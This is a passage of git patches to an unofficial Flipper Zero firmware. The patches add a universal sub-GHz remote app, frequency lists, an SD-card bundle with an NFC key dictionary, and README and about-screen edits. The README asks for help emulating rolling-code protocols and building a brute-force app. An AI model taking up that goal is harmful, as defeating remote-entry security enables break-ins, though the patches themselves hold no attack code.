A_Tetris_14; extern const Icon A_U2F_14; +extern const Icon A_UniRFRemix_14; extern const Icon A_iButton_14; extern const Icon I_Detailed_chip_17x13; extern const Icon I_Medium_chip_22x21; @@ -174,6 +175,14 @@ extern const Icon I_Connect_me_62x31; extern const Icon I_Connected_62x31; extern const Icon I_Drive_112x35; extern const Icon I_Error_62x31; +extern const Icon I_UniRFRemix_Center_14x14; +extern const Icon I_UniRFRemix_Down_14x14; +extern const Icon I_UniRFRemix_Left_14x14; +extern const Icon I_UniRFRemix_LeftAlignedButtons_9x64; +extern const Icon I_UniRFRemix_Outline_14x14; +extern const Icon I_UniRFRemix_Repeat_12x14; +extern const Icon I_UniRFRemix_Right_14x14; +extern const Icon I_UniRFRemix_Up_14x14; extern const Icon I_Updating_32x40; extern const Icon I_DolphinMafia_115x62; extern const Icon I_DolphinNice_96x59; diff --git a/assets/icons/MainMenu/UniRFRemix_14/frame_0.png b/assets/icons/MainMenu/UniRFRemix_14/frame_0.png new file mode 100644 index 0000000000000000000000000000000000000000..8d135853f5ec8f6905074e662b76e8d2bdd4535b GIT binary patch literal 170 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}DV{ElAsQ36 zPO|1ZV8G$bd+P7{H-0W0H#4oi^d6~6;+WK;pv1uNO!DO0T9!xIDu1PfUK=WxLI)A-h;@|GLAog4MsTe0*o-BgT3T7g19- SlLmdKI;Vst0H}aDT>t<8 literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniRFRemix_14/frame_2.png b/assets/icons/MainMenu/UniRFRemix_14/frame_2.png new file mode 100644 index 0000000000000000000000000000000000000000..c64bad5f2f2f43005e57613bf0acf6e743a64c90 GIT binary patch literal 171 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}sh%#5AsQ3s zPV(eCpuoeNd*y$9Wz{05iNP7qCFZcIvjrU3rn0i~+KWjHjQ)+ML>GG>@0)R>cf0SJ zyFm-HMbFuXKI~b$YhsIaPI|b%ME;Cviq-JoMr6)F8KJa%}03m2|J2P TGp2k4TFBt(>gTe~DWM4fkSaY6 literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniRFRemix_14/frame_3.png b/assets/icons/MainMenu/UniRFRemix_14/frame_3.png new file mode 100644 index 0000000000000000000000000000000000000000..efd7181f0a36490d555a6e16df3bf2c457d592f2 GIT binary patch literal 168 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}NuDl_AsQ36 zP735ZpupkG{qbM;yL|>NTh8g+{C$LJtCR|-qYDGW8N*Aa6Io8$CTvRCnp<+hE&cu0 z!o1+-F!5`1mu<+3o$gh!i0wp3{)ylxUAfV<4X+E-_S+r*UJ$Y|zhIkujl7+h)rISO QfVMGsy85}Sb4q9e00DD6_y7O^ literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniRFRemix_14/frame_4.png b/assets/icons/MainMenu/UniRFRemix_14/frame_4.png new file mode 100644 index 0000000000000000000000000000000000000000..300f00128d067e358fc954204533468eb5efd495 GIT binary patch literal 169 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}$(}BbAsQ36 zPO{`~duFbQL9S`u-Lk+<4WXrnW^n{sChumK=w57N>#ps$@6P(ZD&ynqR>F>=Ql-zl QfYvd1y85}Sb4q9e0N5=zEdT%j literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniRFRemix_14/frame_5.png b/assets/icons/MainMenu/UniRFRemix_14/frame_5.png new file mode 100644 index 0000000000000000000000000000000000000000..d41a66495a6bc1e308e97112671d73ddc495f5e4 GIT binary patch literal 166 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}37#&FAsQ2p z208K_FyL_7{J(zY+=y9hQTdOrga|f?c^+D@ih*HakDtmUg`d1PKHj+RYIsm+@?P!2 z@Z#pE-mEgQ>$C2yRah2~V0M-Bm&nd$nQ7Jyo)-3Nl~>N2viR!liTkDdEL8s-*gX$u O7lWs(pUXO@geCx08#~tk literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniRFRemix_14/frame_rate b/assets/icons/MainMenu/UniRFRemix_14/frame_rate new file mode 100644 index 000000000..00750edc0 --- /dev/null +++ b/assets/icons/MainMenu/UniRFRemix_14/frame_rate @@ -0,0 +1 @@ +3 diff --git a/assets/icons/UniRFRemix/UniRFRemix_Center-14x14.png b/assets/icons/UniRFRemix/UniRFRemix_Center-14x14.png new file mode 100644 index 0000000000000000000000000000000000000000..d41a66495a6bc1e308e97112671d73ddc495f5e4 GIT binary patch literal 166 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}37#&FAsQ2p z208K_FyL_7{J(zY+=y9hQTdOrga|f?c^+D@ih*HakDtmUg`d1PKHj+RYIsm+@?P!2 z@Z#pE-mEgQ>$C2yRah2~V0M-Bm&nd$nQ7Jyo)-3Nl~>N2viR!liTkDdEL8s-*gX$u O7lWs(pUXO@geCx08#~tk literal 0 HcmV?d00001 diff --git a/assets/icons/UniRFRemix/UniRFRemix_Down-14x14.png b/assets/icons/UniRFRemix/UniRFRemix_Down-14x14.png new file mode 100644 index 0000000000000000000000000000000000000000..efd7181f0a36490d555a6e16df3bf2c457d592f2 GIT binary patch literal 168 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}NuDl_AsQ36 zP735ZpupkG{qbM;yL|>NTh8g+{C$LJtCR|-qYDGW8N*Aa6Io8$CTvRCnp<+hE&cu0 z!o1+-F!5`1mu<+3o$gh!i0wp3{)ylxUAfV<4X+E-_S+r*UJ$Y|zhIkujl7+h)rISO QfVMGsy85}Sb4q9e00DD6_y7O^ literal 0 HcmV?d00001 diff --git a/assets/icons/UniRFRemix/UniRFRemix_Left-14x14.png b/assets/icons/UniRFRemix/UniRFRemix_Left-14x14.png new file mode 100644 index 0000000000000000000000000000000000000000..c64bad5f2f2f43005e57613bf0acf6e743a64c90 GIT binary patch literal 171 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}sh%#5AsQ3s zPV(eCpuoeNd*y$9Wz{05iNP7qCFZcIvjrU3rn0i~+KWjHjQ)+ML>GG>@0)R>cf0SJ zyFm-HMbFuXKI~b$YhsIaPI|b%ME;Cviq-JoMr6)F8KJa%}03m2|J2P TGp2k4TFBt(>gTe~DWM4fkSaY6 literal 0 HcmV?d00001 diff --git a/assets/icons/UniRFRemix/UniRFRemix_LeftAlignedButtons_9x64.png b/assets/icons/UniRFRemix/UniRFRemix_LeftAlignedButtons_9x64.png new file mode 100644 index 0000000000000000000000000000000000000000..d05541e018e05a7ef22c2bdf1996a56a760d8220 GIT binary patch literal 2159 zcmcImTWB0r7~ZJFq*^K|O7v-%`cS23=gej2Mz%H0#w3_YW4e$O1U+-kncXqFbEY$s z>?R_V)_}fOM9~Mqz8N2E#fLyI4@I=a2aAG2F<=p;UMM11wdk3>HIZ#v3NAalGiSf~ z{_p?)@1L`;O;3$&-}czHOeV8^V!SZJzx(;|RNp=PbL_p(zDpOv@k4PY^T5vZ=*hhG z_FyJ+{}I19m&`enHfGf#evlV`T{|NRKFN!-IR`r7 z2rc{L%Mm@eJXOTY^VlNdzP-Xw-R1;UnjoQGtpu@M&x;LSo1dr4k|;DF$$VZMP6G;a z&a^PXA}SbJ8DI#ZU|3m7km9P|9zlVMEXn+>0a>wCXlshldWk$-L_B+@@N_E}zsif{ zBnfRvs?}=Qnwn)%Ns=wglAt0f3g8G3F9ivzgCO43W+>1YM}C<2ED%yg<`F($d?NI4&-QRGOhNTZk|nU8F&> zs~s#XvxLQEb_;EtpEoHaxDzm3h$@Zp5G>IOt#a;|W95dv&>o2>N?256tkUk(bUUJ; zs99OqJ?jUA)#4{oMXeiX0VOmq@~$ZW=74M!p=`sPEt>!uHiS*6!;L^tf;NK{ScHnL znRd?D1ZKqdmhJ@VIQB#kCn&&lqL3H4sI2c3n^F&|(A5Bfx(jktBLERs1)3%!Q#Nzd zRK12Set&`Cg|rgs{Y~EzhB-&4nzn2y*riYbD5pW7yP5?|nV3LF5Xml9HK;eU1@*0%9N9C(flSXW?oW55gjh^O5fI8(yheDXmM-l20_F#d4nv35bzAm1Ext_fDy7( z(?GILP&@ViMS82OxQv1lbvTTKhEr4eXe%u@t)-RiJg-JCwouN z^`2UOvuDR6M+-MrUtT%C`g!KBfj=I-^3atxz9_wPZg%DDhtKw2J$dnW`u*3h9y)g6 z{a&{IN`La;we^)xcZ}UP_|ss}_xGir&wn}n&BMQ(xRm@bbvziS{^jeF^WUzmUHr=F nKYc7&zt;cE^Pl|r&Y7MYA76IP?WvBXe+ec=rwSkJf8prA)VINR literal 0 HcmV?d00001 diff --git a/assets/icons/UniRFRemix/UniRFRemix_Outline-14x14.png b/assets/icons/UniRFRemix/UniRFRemix_Outline-14x14.png new file mode 100644 index 0000000000000000000000000000000000000000..8d135853f5ec8f6905074e662b76e8d2bdd4535b GIT binary patch literal 170 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}DV{ElAsQ36 zPO|1ZV8G$bd+P7{H-0W0H#4oi^d6~6;+WK;pv1uNO!DO0T9!xIDu1PfUK=WxLI)A-h;@|GLAog4MsTe0*o-BgT3T7g19- SlLv0mMc&zb?oujyK7r9QOE|e5)M(aDB;%e%y`$$+GA`d zyU7VqIrIclIUx>Qkb2@D=mAyYg1Gd8!~qGU`~g*OJ@UNkH5F<@E?Bl_JpSf;-}~X` zJDVFHTs(i}yrL)dP;{{hL2;-G|{^w*E<>D6hO;T?@*$-z_T2i@(JE z-Eueh&|@;uDVL$pCrJiqMOj*&WR&fRQVqo*PJQjs{hu^7=DxPm3UH9EiebEdl#A`7 zjXpctV=mX0-&L0;9uOp=r0OIYrG+=~wJEO$^J>}9)G4Ig^R<=Apt>7us;e>=YDYH_ z!x*a_R~MX;(28!T1QXLR;k1!SJPUg^QR_nkb2*Q^t?v7^F?jN|VOeILVT{LPeQfD6 z9~h?Vx&|f&AqWttI7~}AL1}Sy&d?PF%j2w!WvW(;G?e?LuYuH=4@uV0rbQhmh?p^< znPKX<@@WnXf|H?1(x8iS?EtLQdY?&L^ba#(Y>7hd=S-{}h_t*qH^y1BH`~ugQ%^ZF z#7HCnD?pgpn97E-l*Ld!$B*W9<4xwR=7N?o?@KwFXKHiKq7q9t)oVL(%H_DYUMZ?K zh%POKuR+!b!YxE_pI9E8b_?N-hw%&=Kp}8i($j$@kE6rWK!d>RrA0|oCVE|815tV$ zbI%bDCbYv*1OvjZTVsqqn7)5rwEkYi;f;!Qh?V~(~Plt}4X023lU}S{b6o)Qy!q7&omMst^j)SOh zETCvnJEWS*nHR}Cp-?ArLI=Xg(t)P_qh?i(WFANkF}JE}26pgbJuV=1hxPZdEk3Ph zqgb65okv+!>%PXSBnz(9%keX!cRHOj+VM~T=?Tf7!3r6bW15SV0Yv&gi_3VP_<|ms zEd6we{~x8-VP!*_4g_>gL#v!IsunX#it+D!P2WA$j^=Raan-cxuJF+GXORMR4&C?H z8^`ycb1(P0EB$Mi*^{pp78e&EuHldW+Wz^og@>0PeEIbcmoB{a$L;H%$4l+8dIx|1 u_;LL9%{Nze?!I;Q_L;lC4<8)Aqa2@&?!ENJ=5N(sptrWs{qen~duFbQL9S`u-Lk+<4WXrnW^n{sChumK=w57N>#ps$@6P(ZD&ynqR>F>=Ql-zl QfYvd1y85}Sb4q9e0N5=zEdT%j literal 0 HcmV?d00001 diff --git a/assets/icons/UniRFRemix/UniRFRemix_Up-14x14.png b/assets/icons/UniRFRemix/UniRFRemix_Up-14x14.png new file mode 100644 index 0000000000000000000000000000000000000000..24c349ead5a777f2be43ed17b96ef15b58e20cc4 GIT binary patch literal 165 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}@t!V@AsQ36 z208K_FyLUi{J(zY++7mOubN1zCm$4=GO2|{g^}T?@f(${Qtdejsb^2cY4?2FmdKI;Vst0H}aDT>t<8 literal 0 HcmV?d00001 diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 4e4ec3055..45201bf52 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1654090729 +T:1654108724 D:badusb D:dolphin D:infrared @@ -236,6 +236,7 @@ F:610a0ffa2479a874f2060eb2348104c5:2712:subghz/assets/keeloq_mfcodes F:9214f9c10463b746a27e82ce0b96e040:465:subghz/assets/keeloq_mfcodes_user F:653bd8d349055a41e1152e557d4a52d3:202:subghz/assets/nice_flor_s F:c6ec4374275cd20f482ecd46de9f53e3:528:subghz/assets/setting_user +F:7c7ab1cb006ae036292e4ca05fa87a47:277:subghz/assets/universal_rf_map D:u2f/assets F:7e11e688e39034bbb9d88410044795e1:365:u2f/assets/cert.der F:f60b88c20ed479ed9684e249f7134618:264:u2f/assets/cert_key.u2f diff --git a/assets/resources/subghz/assets/universal_rf_map b/assets/resources/subghz/assets/universal_rf_map new file mode 100644 index 000000000..25c8e2aca --- /dev/null +++ b/assets/resources/subghz/assets/universal_rf_map @@ -0,0 +1,12 @@ +Filetype: Flipper SubGhz RAW File +Version: 1 +UP: /ext/subghz/Up.sub +DOWN: /ext/subghz/Down.sub +LEFT: /ext/subghz/Left.sub +RIGHT: /ext/subghz/Right.sub +OK: /ext/subghz/Ok.sub +ULABEL: Up Label +DLABEL: Down Label +LLABEL: Left Label +RLABEL: Right Label +OKLABEL: Ok Label \ No newline at end of file From 4c5d43af11bd8c8250bb94b9581d03c9a483df4e Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Wed, 1 Jun 2022 21:51:19 +0300 Subject: [PATCH 259/461] forgot to add some things --- applications/applications.c | 9 +++++ assets/resources/Manifest | 4 +- assets/resources/subghz/assets/setting_user | 45 ++++++++++++++++++--- 3 files changed, 51 insertions(+), 7 deletions(-) diff --git a/applications/applications.c b/applications/applications.c index 8de2332d1..0b1278647 100644 --- a/applications/applications.c +++ b/applications/applications.c @@ -50,6 +50,7 @@ extern int32_t file_browser_app(void* p); extern int32_t music_player_app(void* p); extern int32_t wav_player_app(void* p); extern int32_t clock_app(void *p); +extern int32_t unirfremix_app(void *p); // Games extern int32_t snake_game_app(void* p); @@ -227,6 +228,14 @@ const FlipperApplication FLIPPER_APPS[] = { .flags = FlipperApplicationFlagDefault}, #endif +#ifdef APP_UNIRFREMIX + {.app = unirfremix_app, + .name = "UniRF Remix", + .stack_size = 2048, + .icon = &A_UniRFRemix_14, + .flags = FlipperApplicationFlagDefault}, +#endif + #ifdef APP_LF_RFID {.app = lfrfid_app, .name = "125 kHz RFID", diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 45201bf52..d360a5e38 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1654108724 +T:1654109319 D:badusb D:dolphin D:infrared @@ -235,7 +235,7 @@ F:dda1ef895b8a25fde57c874feaaef997:650:subghz/assets/came_atomo F:610a0ffa2479a874f2060eb2348104c5:2712:subghz/assets/keeloq_mfcodes F:9214f9c10463b746a27e82ce0b96e040:465:subghz/assets/keeloq_mfcodes_user F:653bd8d349055a41e1152e557d4a52d3:202:subghz/assets/nice_flor_s -F:c6ec4374275cd20f482ecd46de9f53e3:528:subghz/assets/setting_user +F:e595561bcc6c9f96b928c88975489c04:1306:subghz/assets/setting_user F:7c7ab1cb006ae036292e4ca05fa87a47:277:subghz/assets/universal_rf_map D:u2f/assets F:7e11e688e39034bbb9d88410044795e1:365:u2f/assets/cert.der diff --git a/assets/resources/subghz/assets/setting_user b/assets/resources/subghz/assets/setting_user index 413dbf31f..dc1c06ed7 100644 --- a/assets/resources/subghz/assets/setting_user +++ b/assets/resources/subghz/assets/setting_user @@ -8,11 +8,46 @@ Version: 1 #default_frequency: 433920000 # Frequencies used for "Read", "Read Raw" and "Frequency Analyzer" -#frequency: 300000000 -#frequency: 310000000 -#frequency: 320000000 +frequency: 300000000 +frequency: 302757000 +frequency: 303875000 +frequency: 304250000 +frequency: 310000000 +frequency: 312000000 +frequency: 312107900 +frequency: 312109900 +frequency: 312100000 +frequency: 313850000 +frequency: 314000000 +frequency: 314350000 +frequency: 315000000 +frequency: 318000000 +frequency: 348000000 +frequency: 387000000 +frequency: 390000000 +frequency: 418000000 +frequency: 433075000 +frequency: 433220000 +frequency: 433420000 +frequency: 433889000 +frequency: 433920000 +frequency: 434420000 +frequency: 434775000 +frequency: 438900000 +frequency: 464000000 +frequency: 779000000 +frequency: 868350000 +frequency: 915000000 +frequency: 925000000 +frequency: 928000000 # Frequencies used for hopping mode (keep this list small or flipper will miss signal) -#hopper_frequency: 300000000 -#hopper_frequency: 310000000 +hopper_frequency: 300000000 #hopper_frequency: 310000000 +#hopper_frequency: 312000000 +#hopper_frequency: 314000000 +#hopper_frequency: 315000000 +#hopper_frequency: 318000000 +#hopper_frequency: 390000000 +#hopper_frequency: 433920000 +#hopper_frequency: 868350000 \ No newline at end of file From cf33a0ff330f6216570bcae81801564d3de16fe5 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Thu, 2 Jun 2022 02:15:39 +0300 Subject: [PATCH 260/461] modify readme, add about pages --- .drone.yml | 10 +++++ ReadMe.md | 77 +++++++++++++++++++++++++++----------- applications/about/about.c | 33 ++++++++++++++++ 3 files changed, 98 insertions(+), 22 deletions(-) diff --git a/.drone.yml b/.drone.yml index 1d2c838a9..93ffb65a6 100644 --- a/.drone.yml +++ b/.drone.yml @@ -35,6 +35,15 @@ steps: image: kramos/alpine-zip commands: - tar czpf artifacts-default/flipper-z-any-resources-${DRONE_TAG}.tgz -C assets resources + - mkdir sd-card + - mkdir -p sd-card/wav_player + - mkdir -p sd-card/subghz/assets + - mkdir -p sd-card/nfc/assets + - cp assets/resources/subghz/assets/universal_rf_map sd-card/subghz/assets/universal_rf_map + - cp assets/resources/subghz/assets/setting_user sd-card/subghz/assets/setting_user + - cp assets/resources/nfc/assets/mf_classic_dict.nfc sd-card/nfc/assets/mf_classic_dict.nfc + - zip -r artifacts-default/sd-card-${DRONE_TAG}.zip sd-card + - rm -rf sd-card - ls -laS artifacts-default - name: 'Bundle self-update packages' @@ -83,6 +92,7 @@ steps: document: - artifacts-default/flipper-z-f7-full-${DRONE_TAG}.dfu - artifacts-default/flipper-z-f7-update-${DRONE_TAG}.zip + - artifacts-default/sd-card-${DRONE_TAG}.zip - name: 'Send discord notification' image: appleboy/drone-discord diff --git a/ReadMe.md b/ReadMe.md index e049dc567..e511bca47 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -6,6 +6,9 @@ Welcome to Flipper Zero's Custom Firmware repo! Our goal is to make any features possible in this device without any limitations! Please help us realize emulation for all dynamic (rolling codes) protocols and brute-force app! +
+
+ ### This software is for experimental purposes only and is not meant for any illegal activity/purposes.
We do not condone illegal activity and strongly encourage keeping transmissions to legal/valid uses allowed by law.
Also this software is made without any support from Flipper Devices and in no way related to official devs. ### Please use for experimental purposes only! @@ -17,22 +20,53 @@ Our Discord Community:
Unofficial Discord Community +
+
+
# Update firmware -[Get Latest Firmware from GitHub Releases](https://github.com/Eng1n33r/flipperzero-firmware) +## [Get Latest Firmware from GitHub Releases](https://github.com/Eng1n33r/flipperzero-firmware) +
+
+ +## With offline update on flipper + +### **Replace (CURRENT VERSION) with version that you downloaded from releases** - Unpack `flipper-z-f7-update-(CURRENT VERSION).tgz` (or `.zip`) into any free folder on your PC or smartphone -- You should find folder named `f7-update-(CURRENT VERSION)` that contains files like `update.fuf` `resources.tar` and etc.. -- Remove microSD card from flipper and insert it into PC or smartphone -- Create new folder `update` on the root of the sdcard and move folder from archive `f7-update-(CURRENT VERSION)` into `update` -- So it should be like `update/f7-update-(CURRENT VERSION)/update.fuf` and other files, remember iOS default Files app doesnt show all files properly (3 instead of 5), so you need to use another app for unpacking or use PC or Android +- You should find folder named `f7-update-(CURRENT VERSION)` that contains files like `update.fuf`, `resources.tar` and etc.. +- Remove microSD card from flipper and insert it into PC or smartphone (you can skip this step and upload all files using qFlipper) +- Create new folder `update` on the root of the microSD card and move folder that you previously extracted from archive - `f7-update-(CURRENT VERSION)` into `update` on microSD card +- So result should look like `update/f7-update-(CURRENT VERSION)/` with all files in this folder on microSD card, remember iOS default Files app doesnt show all files properly (3 instead of 5), so you need to use another app for unpacking or use PC or Android +- Verify that all files are present on your microSD card: + * `update/f7-update-(CURRENT VERSION)/flipper-z-f7-full-(CURRENT VERSION).dfu` + * `update/f7-update-(CURRENT VERSION)/flipper-z-f7-updater-(CURRENT VERSION).bin` + * `update/f7-update-(CURRENT VERSION)/resources.tar` + * `update/f7-update-(CURRENT VERSION)/stm32wb5x_BLE_Stack_light_fw.bin` + * `update/f7-update-(CURRENT VERSION)/update.fuf` + - After all you need to insert microSD card back into flipper, navigate into filebrowser, open this file - `update/f7-update-(CURRENT VERSION)/update.fuf` -- Update will start, wait for all stages, when flipper is started after update, you can upload any custom [IR libs](https://github.com/logickworkshop/Flipper-IRDB), and other stuff using qFlipper or directly into microSD card +- Update will start, wait for all stages, and when flipper started after update, you can upload any custom [IR libs](https://github.com/logickworkshop/Flipper-IRDB), and other stuff using qFlipper or directly into microSD card +
+
+ +## With qFlipper + +### **Replace (CURRENT VERSION) with version that you downloaded from releases** +- Connect your device and select `Update from file` +then select **`flipper-z-f7-full-(CURRENT VERSION).dfu`** + +- And wait, if all flashed successfully - you can manually upload IR libs and other stuff to sd card + +- If you doing install for first time or migrating from official fw, unpack 3 folders from archive `sd-card-(CURRENT VERSION).zip` onto your microSD card + + +
+
## With USB DFU @@ -43,8 +77,20 @@ Our Discord Community: - Release `↩ Back` and keep holding `← Left` until blue LED lights up - Release `← Left` +### **Replace (CURRENT VERSION) with version that you downloaded from releases** 3. Run `dfu-util -D flipper-z-f7-full-(CURRENT VERSION).dfu -a 0` +4. If you doing install for first time or migrating from official fw, unpack 3 folders from archive `sd-card-(CURRENT VERSION).zip` onto your microSD card + +
+
+ +# Where I can find IR, SubGhz, ... DBs, and other stuff? +## [Awesome Flipper Zero - Github](https://github.com/djsime1/awesome-flipperzero) + +
+
+ # How to Build by yourself: ## Clone the Repository @@ -83,25 +129,12 @@ Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device. If compilation fails, make sure all submodules are all initialized. Either clone with `--recursive` or use `git submodule update --init --recursive`. -### Flash everything with qFlipper - -Connect your device and select `Update from file` -then select **`flipper-z-{target}-full-{suffix}.dfu`** -And wait, if all flashed successfully - you can manually upload IR libs and other stuff to sd card - -### Flash everything with ST-Link - -Connect your device via ST-Link and run: -```sh -make whole -``` - # Links * Unofficial Discord: [discord.gg/58D6E8BtTU](https://discord.gg/58D6E8BtTU) +* Docs by atmanos: [https://flipper.atmanos.com/docs](https://flipper.atmanos.com/docs/your-first-program/intro) -* Official Discord: [https://flipperzero.one/discord](https://flipperzero.one/discord) -* Official Website: [flipperzero.one](https://flipperzero.one) +* Official Docs: [http://docs.flipperzero.one](http://docs.flipperzero.one) * Official Forum: [forum.flipperzero.one](https://forum.flipperzero.one/) # Project structure diff --git a/applications/about/about.c b/applications/about/about.c index 7c8a4c697..82857b006 100644 --- a/applications/about/about.c +++ b/applications/about/about.c @@ -54,6 +54,37 @@ static DialogMessageButton compliance_screen(DialogsApp* dialogs, DialogMessage* return result; } +static DialogMessageButton unleashed_info_screen(DialogsApp* dialogs, DialogMessage* message) { + DialogMessageButton result; + + const char* screen_header = "Unleashed Firmware\n" + "Allows what is not allowed\n"; + const char* screen_text = "Please use with caution\n" + "Not for illegal stuff!"; + + dialog_message_set_header(message, screen_header, 0, 0, AlignLeft, AlignTop); + dialog_message_set_text(message, screen_text, 0, 26, AlignLeft, AlignTop); + result = dialog_message_show(dialogs, message); + dialog_message_set_header(message, NULL, 0, 0, AlignLeft, AlignTop); + dialog_message_set_text(message, NULL, 0, 0, AlignLeft, AlignTop); + + return result; +} + +static DialogMessageButton unleashed_info_screen2(DialogsApp* dialogs, DialogMessage* message) { + DialogMessageButton result; + + const char* screen_text = "Custom plugins included\n" + "For updates & info visit\n" + "github.com/Eng1n33r"; + + dialog_message_set_text(message, screen_text, 0, 0, AlignLeft, AlignTop); + result = dialog_message_show(dialogs, message); + dialog_message_set_text(message, NULL, 0, 0, AlignLeft, AlignTop); + + return result; +} + static DialogMessageButton icon1_screen(DialogsApp* dialogs, DialogMessage* message) { DialogMessageButton result; @@ -138,6 +169,8 @@ static DialogMessageButton fw_version_screen(DialogsApp* dialogs, DialogMessage* } const AboutDialogScreen about_screens[] = { + unleashed_info_screen, + unleashed_info_screen2, product_screen, compliance_screen, address_screen, From f46139072903f726b7e311c61bc3f0237527f926 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Thu, 2 Jun 2022 18:40:47 +0300 Subject: [PATCH 261/461] change about text --- applications/about/about.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/applications/about/about.c b/applications/about/about.c index 82857b006..cf326cd0a 100644 --- a/applications/about/about.c +++ b/applications/about/about.c @@ -58,9 +58,9 @@ static DialogMessageButton unleashed_info_screen(DialogsApp* dialogs, DialogMess DialogMessageButton result; const char* screen_header = "Unleashed Firmware\n" - "Allows what is not allowed\n"; - const char* screen_text = "Please use with caution\n" - "Not for illegal stuff!"; + "Play with caution.\n"; + const char* screen_text = "Be responsible.\n" + "Not for illegal use!"; dialog_message_set_header(message, screen_header, 0, 0, AlignLeft, AlignTop); dialog_message_set_text(message, screen_text, 0, 26, AlignLeft, AlignTop); From 457bfaefa124f1345053ce8137797852d90ac72b Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Thu, 2 Jun 2022 19:12:27 +0300 Subject: [PATCH 262/461] fix link in readme --- ReadMe.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReadMe.md b/ReadMe.md index e511bca47..e12c72070 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -26,7 +26,7 @@ Our Discord Community: # Update firmware -## [Get Latest Firmware from GitHub Releases](https://github.com/Eng1n33r/flipperzero-firmware) +## [Get Latest Firmware from GitHub Releases](https://github.com/Eng1n33r/flipperzero-firmware/releases)

From 206919072f53b4e80239a2d297133f4991073c50 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Thu, 2 Jun 2022 21:32:49 +0300 Subject: [PATCH 263/461] update changelog --- CHANGELOG.md | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 38fdb83d0..a14002e0e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,2 +1,10 @@ -* fixes -* new build system \ No newline at end of file +### New Update +* Merged latest big changes from official repo +* Moved Games to "Games" Menu +* Added about pages +* Added UniversalRF Remix app +* Updated Readme +* files for microSD card now included with build, copy them if you installing fw by using .dfu +* Updated Icons + +P.S. We are working on fixes of some subghz stuff \ No newline at end of file From 73a24e74c910aa9304587620de1269fb5e536568 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Thu, 2 Jun 2022 21:41:43 +0300 Subject: [PATCH 264/461] updated manifest --- assets/resources/Manifest | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index d360a5e38..d0894f1d4 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1654109319 +T:1654195035 D:badusb D:dolphin D:infrared @@ -236,7 +236,7 @@ F:610a0ffa2479a874f2060eb2348104c5:2712:subghz/assets/keeloq_mfcodes F:9214f9c10463b746a27e82ce0b96e040:465:subghz/assets/keeloq_mfcodes_user F:653bd8d349055a41e1152e557d4a52d3:202:subghz/assets/nice_flor_s F:e595561bcc6c9f96b928c88975489c04:1306:subghz/assets/setting_user -F:7c7ab1cb006ae036292e4ca05fa87a47:277:subghz/assets/universal_rf_map +F:9a50dd284146dfbd8050a2ade62174d9:266:subghz/assets/universal_rf_map D:u2f/assets F:7e11e688e39034bbb9d88410044795e1:365:u2f/assets/cert.der F:f60b88c20ed479ed9684e249f7134618:264:u2f/assets/cert_key.u2f From 4e383f01b71a5e3f6105e247f0422ec8d177891a Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 3 Jun 2022 00:40:57 +0300 Subject: [PATCH 265/461] Update about.c Correct text --- applications/about/about.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/applications/about/about.c b/applications/about/about.c index cf326cd0a..7d1ea1993 100644 --- a/applications/about/about.c +++ b/applications/about/about.c @@ -58,8 +58,9 @@ static DialogMessageButton unleashed_info_screen(DialogsApp* dialogs, DialogMess DialogMessageButton result; const char* screen_header = "Unleashed Firmware\n" - "Play with caution.\n"; + const char* screen_text = "Be responsible.\n" + "Play with caution.\n" "Not for illegal use!"; dialog_message_set_header(message, screen_header, 0, 0, AlignLeft, AlignTop); From b6fbeec8b25c2b4b5986e156159a246e4b3da49a Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 3 Jun 2022 00:43:10 +0300 Subject: [PATCH 266/461] Update about.c fix syntax --- applications/about/about.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/about/about.c b/applications/about/about.c index 7d1ea1993..27479b927 100644 --- a/applications/about/about.c +++ b/applications/about/about.c @@ -57,7 +57,7 @@ static DialogMessageButton 